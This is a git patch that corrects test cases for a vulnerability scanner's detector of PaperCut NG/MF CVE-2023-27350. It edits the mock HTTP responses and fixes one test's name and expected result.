- - - From 3b648ad9430faa07edda663b7ddc4e683c71677f Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Fri, 12 Jun 2026 07:36:36 -0400 Subject: [PATCH 5/5] fixed test cases --- ...PapercutNgMf_CVE_2023_27350_test.textproto | 19 +++---------------- 1 file changed, 3 insertions(+), 16 deletions(-) diff --git a/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350_test.textproto b/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350_test.textproto index 626299248..a6f0851c1 100644 --- a/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350_test.textproto +++ b/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350_test.textproto @@ -27,7 +27,6 @@ tests: { { uri: "/app" status: 200 - body_content: '{"status":200}' headers: [ { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } ] @@ -91,7 +90,6 @@ tests: { { uri: "/app" status: 200 - body_content: '{"status":200}' headers: [ { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } ] @@ -163,10 +161,6 @@ tests: { name: "whenReflectiveVuln_returnsVuln" expect_vulnerability: true - mock_callback_server: { - enabled: false - has_interaction: false - } mock_http_server: { mock_responses: [ @@ -181,7 +175,6 @@ tests: { { uri: "/app" status: 200 - body_content: '{"status":200}' headers: [ { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } ] @@ -224,13 +217,8 @@ tests: { } tests: { - name: "whenReflectiveNotVuln_returnsVuln" - expect_vulnerability: true - - mock_callback_server: { - enabled: false - has_interaction: false - } + name: "whenReflectiveNotVuln_returnsNotVuln" + expect_vulnerability: false mock_http_server: { mock_responses: [ @@ -245,11 +233,10 @@ tests: { { uri: "/app" status: 200 - body_content: '{"status":200}' headers: [ { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } ] - body_content: "... Error ..." + body_content: '{"status":200}' }, { uri: "/app?service=page/PrinterList"